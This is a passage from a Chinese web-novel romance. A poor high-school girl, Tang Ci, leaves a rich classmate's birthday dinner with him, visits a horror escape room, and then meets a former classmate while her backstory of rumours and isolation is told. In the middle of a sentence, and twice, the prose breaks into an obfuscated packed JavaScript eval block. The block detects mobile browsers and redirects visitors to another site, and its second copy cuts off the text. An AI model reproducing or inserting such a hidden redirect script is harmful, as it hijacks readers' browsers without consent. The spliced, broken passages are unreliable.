汤慈喝完放下茶杯,圆盘突然被人转动,撞上茶杯的上沿,温茶撒了她一手。 茶里放了糖,汤慈拿纸巾将手擦干,掌心仍残留黏腻,只好起身去卫生间洗手。 餐厅的卫生间幽静,汤慈洗完手抽出纸巾擦手时,立刻注意到身后传来脚步声。 她正要让开位置,耳边响起乔熙嘲讽的声音,“汤慈,你连个礼物都不拿,还好意思来吃饭?” 汤慈擦手的动作停住,转头看着乔熙说:“我不知道盛毓今天生日。” 乔熙手臂抱胸站在洗手台外的拱门:“知道你为什么不知道吗?因为你对盛毓来说不重要。” 汤慈脸色很白,将纸团扔进垃圾桶,“和你有什么关系。” 乔熙冷笑:“当然和我没关系,我只是好心提醒你,包厢里都是二代,就你一个贫穷书呆子,不觉得突兀吗?” 学校是个矛盾的场所,统一的科目,统一的校服,极大程度模糊了阶级的差别。 汤慈从来没有细想过的问题,被乔熙赤裸地讲了出来。 盛毓只是客气请她来吃饭,其实心里并没有预想她会答应。 乔熙说完就回了包厢,汤慈干巴巴站在洗手台,任由羞耻的潮水将她掩埋。 汤慈又抽了一张纸巾擦手,虎口处的皮肤被她无意识地磨红。 想了好一会儿,她决定等会儿回包厢就找借口离开。 汤慈觉得盛毓应该注意不到她,最终决定不和他告别了。 包间内盛毓吃得很少,周围人的话也很少接。 他为人疏离冷淡,但仍挡不住女孩们主动贴近。 乔熙不知道什么时候和金铭换了位置,涂着粉红美甲的手捧着脸颊看他,“吃完饭你准备去做什么?” 盛毓闻到她身上甜腻的香水味,眉骨抬了抬:“要和你报备?” 乔熙嗲声,“过生日别这么凶嘛。” 一旁的男生促狭地眨眼,“等会儿去玩一圈跑车?副驾驶坐哪个美女毓哥随便挑。” 在场的人,成年未成年的都有,钟鸣鼎食的家庭让他们早早对平常的享受餍足,年纪轻轻挂在嘴边的就是豪车豪宅,仿佛只有刺激才值得他们驻足。 盛毓指尖转着打火机,视线扫到侧对面的空位置,椅背上挂着个软趴趴的旧书包。 书包的主人不知道出去做了什么,推门而入时,臊眉耷眼地惹人可怜。 见确实没人注意到自己,汤慈松了口气,把门虚掩上,准备拿了书包就走。 “汤慈。”盛毓突然叫她,面色不虞,语气冷冽,“干什么去了?” 汤慈呼吸一滞,“……洗手啊。” 盛毓不置可否,继续问:“吃饱没有?” “吃饱了。”汤慈讷讷点头,听出盛毓话里的潜台词是,让她识相地主动离开。 虽然心里已有预期,但听到他这么说,汤慈胸口处还是泛起阵阵酸意。 她垂着头去拿书包,盛毓却起身先她一步将书包拎了起来:“走吧。” 愣了两秒,汤慈才意识到盛毓要和她一起走,她张了张口,问:“去干什么?” “卷子不是没批完?” 汤慈绞着指尖,“可是图书馆都关门了啊。” 盛毓似是懒得再听她废话,书包扔到她怀中,拉开门走出去时,撂下一句,“去你家。” 19. 第 19 章 房间门“砰”的一声关闭,包间内的众人面面相觑。 金铭咽下口中的啤酒,手肘直戳周弋阳:“蛋糕还没上,毓哥怎么就走了?” 周弋阳看看紧闭的门,又看看身旁汤慈坐过的位置,意味深长地笑了。 金铭没得到回答,脸上疑惑更甚,“什么卷子这么大吸引力?” 周弋阳抬筷子夹了颗花生米放进他盘里,“你还是吃饭吧。” 手臂忽然被人戳动,金铭嚼着花生米转头,看到乔熙不知道什么时候又换到了他旁边的位置。 金铭瞧着她蹙起的眉心,知道她不顺心,凑到她耳边解释:“抱歉啊,我知道你今天就是冲毓哥来的,但我没想到他最近学习这么忙。” 乔熙紧绷的脸色缓和了一些,低声问:“盛毓明天还去图书馆学习吗?” 金铭之前打电话问过盛毓,不假思索道:“他去。” 乔熙笑了一下,又问:“汤慈呢?她去吗?” “她……应该去吧,她还要给毓哥补习呢。”金铭说完回过味来,促狭地说:“你不会是吃她和毓哥的醋吧?” 乔熙抿着粉红的唇瓣不说话,哀怨地看着他。 金铭笑着摇头,“你多虑了,要不是之前汤慈跟毓哥打赌赢了,毓哥怎么可能天天跟她混在一起,等这学期毓哥成绩上去他俩就没交集了。” 平直的唇线勾起,乔熙转着眼睛笑道:“我没怀疑这个,我想明天也约同学去图书馆学习来着。” 金铭看着她不达眼底的笑意,心头觉得无趣,耸耸肩说:“行吧。” 乔熙被金铭冷在一边,也没有很在意,她拿出手机,在通讯录翻出许久没联系的丁赫,发去了一条信息。 【你想不想见汤慈?】 / 正是晚饭的时间,商业街比来的时候热闹,一出餐厅大门,汤慈就被攒动的人潮挤得慢下脚步,很快和盛毓隔开了距离。 沿街的商铺不少都在做活动,汤慈一路走过接下不少传单页,等她走到街口找到树下等待的盛毓时,手上已经拿了七八张。 左右张望了一下,路边没有垃圾桶,她只好边将宣传页塞进了书包的侧袋,边快步朝着盛毓快走,整个人姿势别扭到像是受到人胁迫。 盛毓双手插兜,低眸睇了一眼她额角的薄汗,“不想要可以不接。” 汤慈拉书包拉链的动作顿了一下,小声辩解,“发传单的人也不容易。” 盛毓不置可否,等她拉好书包拉链,抬脚朝马路对面走。 “我们去哪?”汤慈背好书包快步跟了上去,指尖整理着两颊边的碎发,想到包间内的对话,为难地抬眼看他,“我家……人都在家,可能不太方便去。” 盛毓像早就预料到一样“嗯”了一声,脚步没停,侧目问:“逛逛?” 汤慈没有犹豫点头,说:“好的。” 道路两旁的路灯都亮了起来,人行道被常青树影遮挡,两人一前一后漫无目的地在婆娑的树影下走着。 盛毓说逛逛就真的只是逛,他身型放松,肩膀微微塌着,步子比平时稍慢。 汤慈悄悄抬眼,看他被光影照得一半明亮一半灰暗的面庞,想到上午在医院听宋敏说的那番话,心里没来由地闷。 “生日快乐。”汤慈揉了揉鼻子,抬眸看了他一瞬又很快低下,“刚刚在饭店忘记说了。” 盛毓讨厌热闹因此也不爱过生日,猝不及防被朋友拉着过了一半,出来清净了没几秒钟,又被人祝福,看着汤慈那副低眉顺眼的模样,他恶劣地起了坏心思。 “只有口头祝福?” 汤慈迟疑了一秒,想到包间内一沙发被盛毓忽视的礼物,不知道挑剔的他会喜欢什么,遂真诚地询问:“你想要什么吗?我都给你买。” 这个“都”字有种土豪豪掷千金的畅快感,由打扮朴素的汤慈说出来居然也不违和,盛毓甚至觉得如果他这会儿要天上的星星,汤慈也会点着脑袋满口答应。 指尖贴着裤子口袋里衬磨了磨,盛毓最终还是好心将抉择权交给了她,“你想想看。” 汤慈点头“唔”了一声,快走两步到十字街口张望了一圈,转过头对他说:“那儿有家连锁的面馆,我先请你吃碗长寿面吧。” 沿街的连锁面馆生意红火,店内外的桌椅都坐了不少顾客,油腻辛辣的调味料隔着一条马路飘过来,盛毓皱了皱眉。 汤慈穿的外套没帽子,一阵风吹来,顺着衣领灌进她的衣服里,让她打了个寒颤。 “走吧。”盛毓松口说。 餐厅里面人满为患,每桌都坐满了人,两人进到店内点了两碗清汤面,被店员带着他们去外面寻找空位。 最后一个空位临近马路,旁边有雨棚罩着,不至于太冷,店员手脚麻利地收拾上一桌的残羹,表面垃圾清理干净后,店员就被旁边桌的客人招呼了去。 汤慈坐下后看到塑料桌子表面还附着陈年污渍,在黄澄澄的吊灯下泛着油腻的光。 盛毓在她对面的凳子上坐下,由于桌椅矮小,手肘撑着膝盖,长腿憋屈地抻在桌下,淡漠的气质和这家餐馆格格不入。 汤慈陡然感到不好意思,抽出纸巾先擦拭盛毓那边的桌面,她低头擦得仔细,因而没听到马路边传来的接二连三的嗡鸣声。 直到飞驰而过的摩托掀起她鬓角的碎发,她才恍然扭头,一辆漆红色的机车正停在路边,离他们一米远。 骑车的人摘下头盔,捋着头发朝他们看过来,还没说话先吹了声口哨,“呦!这不是盛少爷吗?这么长时间没见你来北山比赛,原来是忙着约会。” 汤慈认出眼前的男生,之前她去北山观赛,见过他和盛毓聊天,听说是南大的学生。 盛毓没说话,眼皮掀起来警告似得睇了男生一眼。 汤慈顿顿解释,“不是的,我们只是同学,来吃饭不是约会……” 她越说声音越小,头也越垂越低,让人看着听着只以为她在害羞。 男生“呦呵”一声笑了,其他跟着停下的男生也跟着笑,“盛少爷你行不行啊,让姑娘挡在你前面解释。” 汤慈扔掉手中脏了的纸,又抽了一张攥在手里,“是我自己主动要解释的。” 男生听了促狭的笑意更甚,还想说什么,盛毓抬手在干净的桌面上敲了敲,“秦哲,我们在吃饭。” 这句话声调平淡,但配合上盛毓那张冷峻的脸,无端有种压迫的意味。 老秦耸耸肩,拧动车把的瞬间仍不忘嘴贱,“那我们就不打扰盛少爷约会了。” 几辆机车相继低鸣着开走,汤慈拿着纸巾继续擦自己面前的桌面。 “下次再碰到这种情况不用理。” 汤慈抬头看了盛毓一眼,“噢”了一声,垂眼的时候耳根因自己刚才贸然开口而微微发热。 两碗清汤面端了上来,蒸腾热气在冷空气中飘散开来,汤慈其实已经饱了,但点餐时想到自己看着盛毓吃饭会很奇怪,还是给自己点了一碗,现在闻到面条的香气,觉得自己还能再吃一点。 筷笼里放着些一次性筷子,盛毓抽出一双,拆下塑料包装就要用,汤慈看到叫住他。 “把两根筷子叠在一起磨一下,就不会被木刺刮到。”汤慈说着,也抽出一双演示给他看,“就像这样。” 盛毓照着她的动作磨了磨表面粗糙的竹筷,指尖转动了一下变得光滑的筷子,伸到两人之间,问:“这样?” 汤慈没有想到他会让自己检查,连忙探头去看,动作幅度过大,冰凉的鼻尖撞上了他的食指指骨。 很轻的一下撞击,盛毓的手未动分毫,汤慈却像是做了极大的错事,捂着鼻子身体后退,闷闷地说:“对不起。”她又指了指筷子:“这样可以了。” 盛毓说嗯,修长的指尖一转,把筷子收了回去。 这家面馆的顾客多是附近的居民,几乎每桌都飘出热切的聊天声,只有他们这桌在沉默。 汤慈也不觉得气氛尴尬,垂眸专注吃面,几乎和盛毓同一时间放下筷子,并一起伸手去抽纸巾。 眼看着两人的指尖要碰到一起,汤慈动作慢了一拍,指尖在抽纸盒上方悬着,又很快收了回来。 盛毓笑了一下,将抽出的纸巾先递给了她。 汤慈只好再次伸手,接过时,因为纸巾大部门仍在盛毓手中,她不可避免地触及到了他的手心。 不过盛毓并没有察觉。 “谢谢。”汤慈擦完嘴,先他一步站起身,怕热一样抬手在脸颊前扇了扇风。 扔纸巾时,想到在商业街收到的一沓宣传页,汤慈从书包里拿出来准备一股脑儿扔垃圾桶,却被最上面那张宣传页上的字样吸引到了注意力。 【中学生最爱的密室逃脱,你还不来玩吗?!】 汤慈把剩下的宣传页扔掉,只留下这张密室逃脱的宣传页,递到盛毓眼下问:“你想玩密室逃脱吗?想得话我请你。” 盛毓双手插兜,低眸看过来,汤慈只好凑近,抬手把宣传页递到他眼前。 新开业的密室逃脱店,看得出来想大力宣传,但市面上密室早已饱和,已经翻不出什么花样。 看完宣传页正面的字样,盛毓手从口袋里面拿出来,兴致缺缺地拨动了一下页脚,汤慈翻页,跟他一块看背面的讯息,却陡然倒吸一口凉气。 戴护士帽的女鬼长着一口獠牙,青白皮肤上血管迸裂出血,整个画面冒着森森冷气。 赶在盛毓说话前,汤慈咽了咽喉咙,嗓音发颤地说:“你不想的话就算了……” 盛毓看着她白着一张笑脸,纤长的睫毛不停地眨动,乌黑的瞳孔左右乱瞥,极力避免和宣传页上的女鬼对视。 他挑了挑眉,说:“看起来挺有意思。” 汤慈捏着宣传页的指尖也泛白,抬眸镇定地看着他说:“那玩吧。”用她自己都没意识到的虚弱发紧的声音。 盛毓笑,学着她说:“那玩吧。” / 斑驳的铁门内不断传来鬼哭狼嚎,密室工作人员脸上堆笑,话里话外都是对自家生意的得意。 “听听玩家这声音,我们密室不搞那些虚头巴脑的东西,纯吓人!!” “……嗯……嗯。”汤慈攥着衣服下摆点头附和,第三次和工作人员确认,“要是中途不适可以呼叫中心终止游戏的对吧?” 盛毓微不可查地抬了抬唇角。 “对。”工作人员看出她的紧张,眼睛朝旁边淡定的盛毓瞄了一眼,很会来事地宽慰:“放心吧,害怕了您男朋友正好保护您,玩完保证你们的关系能更近一步。” 他后面说的话被屏幕上刺激的宣传片背景音盖住,汤慈被屏幕上四处乱爬的僵尸吓得太阳穴直跳,打消了再问一遍的心思。 她自以为很隐蔽地深呼吸了几个来回,余光瞥到店内和他们一样等待的情侣,男生端着两杯冷饮,正小声鼓励着胆小的女友,“宝贝别怕,喝口冰的就没事了。” 汤慈转头看到对面的冷饮店,问盛毓:“你想喝什么吗?” 她的声音不大,消失在店内嘈杂的音浪声中。 盛毓挑了挑眉骨,凑到她耳旁淡声问:“说什么?” 清冽磁性的嗓音灌进她的耳廓,汤慈咽咽紧缩的喉咙,彻底说不出话,指了指对面冷饮店,示意他看。 盛毓扫了一眼冷饮店的招牌,再次凑近说:“椰子水,加冰。” 汤慈抿着唇点头说好,快步出了店门,到了冷饮店她的声音才恢复如常。 听到她点两杯椰子水,店员笑着介绍:“现在满两杯送一个冰淇淋球哦,您看看选什么口味的。” 她本就不爱吃甜点,加上生病几乎没再碰过冰淇淋,但想到万一盛毓想吃,汤慈还是保守选了一个香草味的。 汤慈拎着两杯椰子水一个冰淇淋回到店里时,盛毓正收起钱包,工作人员从柜台内递给他两个手环。 她快走两步到柜台前,问:“你付过了吗?我把钱给你吧。”她说着已经从书包内拿出了钱包。 话音一落,汤慈察觉到旁边那对情侣面色不屑地朝盛毓看过来,盛毓低嗤一声,说:“给我留点面子。” 汤慈反应过来,赧着脸踮脚凑近悄声说:“那等出去我再给你。” “自己留着。”盛毓淡声终止这个话题。 汤慈讷讷点头,椰子水和冰淇淋一并递给他,“给你,冰淇淋是店家送的。” 盛毓只接了那杯椰子水,眼睛一扫冰淇淋,“自己吃。” 汤慈“哦”了一声,拎着一小盒冰淇淋坐在等候区的椅子上吃,盛毓坐在她对面,照旧玩俄罗斯方块。 冰淇淋太凉,汤慈吃得很慢,等密室内上一波玩家出来,工作人员喊他们准备时,她快速将剩下小半的冰淇淋全都塞进了口中,含糊地对盛毓说:“我们去吧。” 盛毓点击手机屏幕,将所有的砖块消掉,站起身说嗯。 和他们一起玩的是一群初中男生和两对情侣,大家在等候区听工作人员讲完规则后,由工作人员打开密室的门,玩家依次排队进入房间。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065633|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>铁门从外关闭的瞬间,屋内微弱的指示灯滋滋两声——灭了,随即沙哑的嘶吼声响彻整间密室。 汤慈心口重重一跳,本能地抓紧了盛毓的手臂,随后她就听到周围人此起彼伏的尖叫声。 几秒钟后,水泥墙上才幽幽亮起投影的光,NPC出现在画面中嘶哑着声音介绍游戏背景。 汤慈心率稍稍平复下来,抬头去看盛毓,却对上陌生男生的脸庞。 意识到自己抓错了人,她倏地一下放开手,磕磕绊绊地道歉,“不好意思,我,我以为是我朋友。” 男生腼腆地推了推眼镜说没关系,他的朋友们却嘻嘻哈哈开始起哄。 “汤慈。” 哄闹间,汤慈听到身后传来一道冷然的声音。 汤慈忙不迭应声,捂着脸退回到盛毓身边。 盛毓姿态懒散,完全没被吓到的样子,但脸色有些不好看,“瞎跑什么?” “我以为你去前面了。” 盛毓不置可否地嗯了一声,朝她伸出了一只手臂,“害怕就抱着。” 汤慈觉得不好意思,本想矜持地拒绝,房间内突然迸发的诡异音乐,让她身体自动朝盛毓贴了上去。 两手虚虚抱住他的手臂,汤慈慌张的心仍没有落地,于是她踮脚,凑到盛毓耳边小声问:“我可不可以抱紧点?” 盛毓侧目,看清她被幽□□光照亮的脸颊,因为吃了冰淇淋而变得微肿的唇瓣抿着,血色从中透出,上唇边还残留一点冰淇淋的痕迹。 他没有提醒,移开目光,淡声说:“随你。” 汤慈暗暗松口气,紧紧抱住他的手臂,听众人讨论开门的机关。 他们这场人多,打头的那群初中男生好出风头,叽叽喳喳打头阵,前两个简单的关卡轻松解开。 第三关有假扮成护士的npc出没,汤慈被其中一个满脸是血的护士拽了一下胳膊,惊叫后全程闭眼,任由盛毓拖着她半死不活的躯体边躲npc边解密。 一直到最后一个关卡,npc退场,房间内的恐怖氛围消散大半,汤慈才缓缓醒过神,跟着大家一起寻找线索,但身体仍不自觉地黏着盛毓。 不大的房间内充斥着玩家翻箱倒柜的声音和激烈的讨论,一时间盖过了bgm。 汤慈挨着盛毓蹲下来查看斗柜时,脑袋靠近墙角的音响,清晰而规律的哒哒声响在耳畔。 听了几秒钟,汤慈拽了拽盛毓的裤脚,“这个背景音乐好像是摩斯密码。” 盛毓抬了抬眉,“能破解吗?” 汤慈又凝神听了几秒,点头说:“应该可以。” 盛毓抬了一下唇角,拍了拍手示意大家安静,分别从两个玩家手中拿过纸笔道具,俯身递到她手中后,又抬手将凑上前的男生们往后抻了抻。 “让我看看,我也懂摩斯密码,说不定能帮忙。”一男生勾着头再次靠近。 盛毓按住他的肩膀让他站在原地,“挡着她光了。” 男生只好悻悻立在原地。 跟着bgm对了两遍密码,汤慈才将站起身,看着周围人期待的目光,她心理压力骤增,揉着鼻尖说:“不一定对。” “试试。”盛毓朝大门处抬了抬下颌。 前几道门一打开必有惊吓,汤慈不敢去,往盛毓身后贴了贴,本子放到他手里,“……还是你来吧。” 隔着一层衬衫,盛毓能感觉到她稍急促的呼吸,一下下扑打着他的皮肤,像是被绒毛轻扫。 盛毓滚了一下喉结,看了眼本子上的密码,拨动门上的机关。 随着砰地一声巨响,铁门应声打开,迎面扑来的是一层干冰白雾。 听到动静的瞬间,汤慈已经自动抱上毓的手臂,睫毛连着声音一起簌簌颤抖,“有东西吗?” 盛毓看着消散的白雾后丝丝缕缕的头发,悠声说:“没。” 汤慈不疑有他地睁开眼,和干尸道具贴脸对视。 她倒吸一口凉气,头晕目眩地被盛毓半拖半抱地弄出了密室。 到了阳间气息浓厚的大厅,汤慈才幽幽恢复精气神。 盛毓语气听不出歉意,“抱歉,我没看到道具。” 汤慈自然信他,气若游丝道,“我知道的。”说着还强行笑了一下。 盛毓幽深的瞳孔一眨不眨地看了她两秒,弯了弯眼睛。 排队拿储物格存放的衣物时,两个一直在旁边悄悄观察他们的工作人员凑上前来。 “您好,请问可以帮我们店里拍一下宣传照嘛?”其中一个工作人员将怀中的一筐毛绒玩具朝汤慈递了递,“拍完可以随意选个礼物哦。” 以为只是拍拍店内的场景,汤慈点头答应,“可以的。” 工作人员喜笑颜开,爽快地先让汤慈先挑选了一个豌豆荚抱枕,然后笑着指挥两人,“你们可以做一下更亲密的动作哦。” “?”汤慈僵住,大脑停滞两秒才意识到工作人员把她和盛毓误会成情侣了,她连忙澄清,“我们不是情侣,是同学。” 工作人员笑容顿了一下,目光迟疑地在两人之间来回打量,“真的吗?” 汤慈顺着她的目光低头,发现自己还抱着盛毓的手臂,耳根轰然发烫,她触电一般松开手臂,从盛毓旁边弹跳开来。 工作人员见状为难道:“我们这个活动是针对情侣的哦。” 汤慈和怀里的豌豆荚圆鼓鼓的眼睛对视两秒,依依不舍地准备把它交还出去。 肩上一沉,盛毓把她扯了回去,指尖在她肩膀上点了点,他轻笑着对工作人员说:“不好意思,女朋友害羞。” 两个工作人员都是女孩,年纪都不大,看见盛毓一笑,脸都红了。 汤慈则是彻底石化,连盛毓凑到她耳边轻声说话也没察觉。 “要不要玩偶。” 汤慈延迟了几秒才接收到信息,干巴巴点头。 “那就配合站好。” 汤慈立刻听话立正,被盛毓搂着,迟钝到像个刚学会走路的机器人。 工作人员举起相机,准备按下快门键时,侧过头提醒,“女生嘴巴上沾到东西了。” 汤慈抬起手背用力擦拭了一下,“还有吗?” 工作人员摇头,往上指了指,“有,你再往上擦一点。” 汤慈“唔”了一声,转动脑袋想找一个反光的地方照一照,唇瓣忽地一凉。 她慌张垂眼,看到盛毓的指尖正缓慢擦过她的上唇。 唇瓣被他重重捻揉两遍之后,汤慈听见他说:“现在没了。” 20. 第 20 章 抱着豌豆荚抱枕出了密室逃脱店后,汤慈一直落后盛毓两米,脑袋一直低着,耳根连着脖颈通红一片。 盛毓等得不耐烦,脚步慢了下来,偏头看着磨磨蹭蹭的汤慈说:“怎么了?” 他态度过于坦然,反衬得汤慈心虚,她清了清嗓子壮胆,开口却声如蚊蚋:“你刚才为什么……那样?” 盛毓好笑:“那样?” 汤慈手攥成拳,抵在唇边说:“擦我的嘴巴……” “你不是看不到么。”盛毓转过身来,对着她扬起眉尾,“我不可以帮忙?” 汤慈张了张嘴,半晌说了一声,“可以的。” 盛毓躬身视线和她平视,唇角一掀:“所以你该说什么。” “……”汤慈揪着豌豆荚抱枕的长绒,想了想说:“谢谢?” 盛毓漆黑瞳孔染上探究兴味,嗓音拖长了问:“汤慈,你对其他人也这么乖?” 汤慈被他问得懵然,摇了摇头说:“没有吧。” 盛毓笑了一下,用力揉了揉她的脑袋,“最好没有。” 街对面的寺庙敲响凌晨十二点的钟声,盛毓拦下一辆出租车,和司机说了汤慈家的地址,又付了钱,然后叫她上车。 汤慈坐进车内还没回过神,关闭的车门将盛毓隔绝在外,透过起了白雾的车窗汤慈能看到他挺拔的身影。 他穿一身黑,轮廓快要被浓稠的夜晚吞没,唇边刚点燃烟猩红,一明一灭地闪了闪。 出租车开出去两条街,汤慈才讷讷想起,刚刚忘了和他说再见。 / 翌日,两人照旧约着下午去图书馆学习。 汤慈收拾好书包出门前,小腹传来阵阵痛意,去卫生间才发现来了月经。 她收拾完,抽出两片卫生巾出去,和在门口换鞋的汤建伟和秦玲打了个照面。 秦玲肚子一天天大起来,幼儿园的工作不方便再做,干脆辞职,和汤建伟一起跑项目打下手。 汤慈不冷不热和两人打了声招呼,随手将卫生巾塞进了书包侧袋。 秦玲捧着肚子艰难地蹲在地上擦拭皮鞋,听见卧室传来的脚步声,转头和她客套:“小慈,你这是去学习?” 汤慈看着她憋红的脸,嗯了一声。 汤建伟身上带着宿醉的酒气靠着大门点烟,看到含糊问:“你上哪学习?” “图书馆。”汤慈熟知他喝酒就爱耍威风的德行,垂着眼睛低声应付。 “图书馆六点就关门了!”汤建脸色沉了下去,清了清浑浊的喉咙,斥道:“你最近经常过十二点回家,是不是交什么坏朋友了?” 话音刚落,汤慈放在鞋柜上的手机嗡嗡震动两声。 汤建伟眉心一跳,立刻伸手去拿,汤慈先他一步唰地拿过手机,看也没看塞进了裤子口袋。 汤慈拉开家里的大门,平静地对脸色铁青的汤建伟说:“有管我的时间你不如多关心一下秦姨。” “轮不到你来教训我!”汤建伟拍了拍墙壁,眼睛瞪着捋了捋袖子,嘴里咕哝着:“我是你老子,还管不了你了?!” 秦玲适时扶着鞋柜站起来,“老汤别生气,小慈年纪小不懂事,等她大了就知道你都是为她好……” 汤建伟冷哼一声,负气道:“一天天不着家,真是白养她了!” 汤慈走到楼梯转角,掀眸朝家里大门看了一眼。 秦玲小声凑在汤建伟耳旁说着什么,右手安抚地在他背上轻拍。 汤慈喉咙压抑着恶心,快步出了楼道。 进了地铁车厢,汤慈才想起来看手机上的信息,只是运营商发来的欠费提醒,她垂着头交上最低限度的话费,然后把手机放回书包,拿出单词默背。 汤慈照例比约定的时间到得早,她背着书包漫无目的地穿梭在宽大的书架间,四周只有文明的轻微的翻书音窃语声,像缓缓流动的河水将她窒闷的胸腔冲刷开来。 在落地窗边的书架站定没一会儿,肩上蓦然一沉,汤慈茫然转头,盛毓神色不虞地问:“怎么不接电话。” 手机坏了,一直没舍得去修,话在舌头转了一圈,汤慈突然觉得难为情,说:“手机放包里,没听到。” 盛毓下颌朝楼上一抬,“走么?” “走吧。”汤慈把书摆回原位,抬脚跟上他,“你今天来的好早。” “醒得早。” 汤慈点头,和他一起走上扶梯,没再说话。 两人都是话少的性格,但平常汤慈会是不是冒出一句话,今天却格外沉默,她静静靠着上行的扶手,睫毛无精打采地垂着,看着脚下的台阶。 不是平常总小心翼翼偷看他的模样。 到了三楼,下了扶梯,盛毓脚步迈得不大,“不高兴?” 汤慈怔了怔,家里糟心的事情不想拿出来说,她揪着书包的肩带摇头,“昨天睡得晚,有点困。” 说话间,他们走到咖啡店的旁边,汤慈说:“你先去房间吧,我买两杯咖啡。” 盛毓低目瞧着她心不在焉的状态,从她肩膀上拎起沉甸甸的书包,吩咐小孩一样说:“买完就来。” 肩膀隔着衣服被他的指骨剐蹭,汤慈耳根微热,抿着唇点头。 盛毓进到房间拉椅子坐下,随手将汤慈的书包放在桌面,余光瞥到书包网格侧袋内塞着东西,白色塑料包装,片状,柔软苍白的颜色和汤慈的脸色很像。 指尖在实木桌面上点了点,盛毓又站起来,去咖啡店找人。 咖啡店靠近电梯扶梯,位置显眼,盛毓穿过走廊远远看到汤慈站在咖啡店的一角,两手各端一杯咖啡,对面站着个挺高但流里流气的男生。 两人靠得很近。 出门太急,忘记带烟,外套里只有个表面光滑的银质打火机,盛毓指尖拨着打火机盖子,啪的一声拨开,又砰的一声阖上。 脚刚提起,身后有人叫他,盛毓凝眉偏头,乔熙面露惊喜朝他招手。 “好巧啊,你也来图书馆学习?” “不然上哪学?” 乔熙见盛毓没有和她闲聊的意思,眼中的光暗淡了下来,视线朝咖啡馆方向睇了睇,不加掩饰地说:“你不想知道和汤慈说话的是谁吗?” 盛毓抬了抬眉。 “她初中的男朋友,丁赫。”乔熙故意停顿了一下,无辜地盯着盛毓的眼睛说:“汤慈没跟你说过吗?” 盛毓双手抱胸,浓密的睫毛下压:“你对她的事挺感兴趣?” “和我有关我当然有兴趣,”乔熙笑了笑,又凑近他一些,“初中那会儿丁赫本来在追我,汤慈趁着补习的由头把他给撬走了,这剧情是不是很熟悉。” 盛毓下颌朝男生的背影一扬,嗤道:“不甘心你就去抢回来。” 乔熙脸色发白,她磨了磨压低声说:“我今天来就是好心提醒你,汤慈心机很重,他们在一起后丁赫家里生意出了问题,汤慈知道后就和他冷暴力分手。” 她最后提醒一句:“南岭人谁不知道盛家的名号,汤慈就是故意接近你!” “和你有关系?” 盛毓眸光彻底冷下来,神色不耐地转身要走,目光移到咖啡馆脚步停了下来。 原本站在窗边的汤慈和丁赫,早已不见了踪影。 乔熙鼻腔轻轻出气,欲数落几句,余光看到盛毓不虞地眯起了眼睛,又闭上了嘴。 / 汤慈没想到还会再见到丁赫。 她原本站在柜台外等咖啡,咖啡才刚拿到手里,就听到扶梯处有人叫她。 抬头看到丁赫的身影,她愣了几秒,丁赫就大步走到了她的身侧,又叫了一次她的名字。 汤慈端着咖啡朝后挪动脚步,疏淡地点了点头,作势要走。 丁赫立刻抬手拦她,焦急地问:“汤慈,这几年你怎么一直不接我电话?” 汤慈因他熟稔的语气而感到莫名,淡声说:“我跟你好像没什么要说的吧。” “你还在生我的气?”丁赫耷拉着眉毛,低头看着她说:“我是真的喜欢你,我当时就是和同学瞎闹说了句不中听的话,你到现在还记恨呐。” 他说话的时候尾音拖得很长,有种黏糊的亲昵感,汤慈听着只觉得不适,不愉快的记忆随之从脑海中勾起。 初二下学期,班级调座位,汤慈和丁赫坐一桌,因此才有了一些交集。 丁赫是个不学无术的纨绔,上课打游戏睡觉,被老师叫起来回答题目,答不上来,被老师一顿好骂。 只是怀揣助人的心思,汤慈小声告诉了他答案。 自此,丁赫和汤慈的对话多了起来。汤慈当时忙着学习,一心想考到一中去,丁赫说什么她只温声敷衍一句。 除去吃喝玩乐,考前丁赫也会问一问汤慈难题,汤慈本着教中学的理论,一一耐心给他解答。 十几岁情窦初开的年纪,教室内一点风吹草动就能引起骚动,流言就是这时候传起来的。 汤慈也就是那个时候意识到自己和丁赫的不同,整日光鲜亮丽出没游戏场所的丁赫,和穿着洗得发白的校服学习的汤慈不是一个阶级。 因此她是那个刻意勾引富二代的贫困生。 汤慈为此难过了好一段时间,也曾试图和前来询问的同学解释。 但流言是潮水,涨涨落落始终存在。 处于风口浪尖上的丁赫全然不在意,反倒更黏汤慈了一些,每节自习课都摊开全错的卷子讨她的讲解。 汤慈心里有些厌烦他,也嫌他笨,但想到他人不坏,也是八卦的受害者,还是耐着性子给他讲题,除此之外尽量避免和他有其他接触。 直到有天傍晚,汤慈忘带饭卡,到了食堂只好折返回教室,还没走到大门,就听到丁赫和一群男生倚靠在窗边放肆谈笑。 有人促狭问起丁赫,“一直以为你会和乔熙在一起,没想到你居然跟汤慈谈上了,你喜欢她什么啊?” 丁赫没否认,吊儿郎当地笑道,“以前没注意,坐同桌才发现她长得挺漂亮的,就是只会闷头学习,性格无趣,不过正好能帮我考试作弊。” 他得意地吹了声口哨,和狐朋狗友们传授经验,“女朋友就得找漂亮又有用的。” 一男生侧头看到不远处的汤慈,坏笑着拿肩膀怼丁赫,“你有用的小女朋友来了。” 丁赫转头看到汤慈,扯着嘴角和她打招呼。 汤慈皱着眉头走了,没拿饭卡,直接去办公室找班主任申请了换座位。 恰逢丁赫家里生意那段时间出了些问题,丁赫接连休学了几个星期,流言换了个说法再次传得沸沸扬扬。 汤慈从周围人的嘀咕声中得知流言新版本,她因丁赫家生意波折而狠心将他抛弃。 她默默震惊了一会儿,就继续刷题,毕竟从吊车尾的初中考进一中不是一件容易的事。 再后来就是乔熙的带头孤立,汤慈后知后觉得知,丁赫上一个暧昧对象是班里最受欢迎的乔熙。 处处被排挤的日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 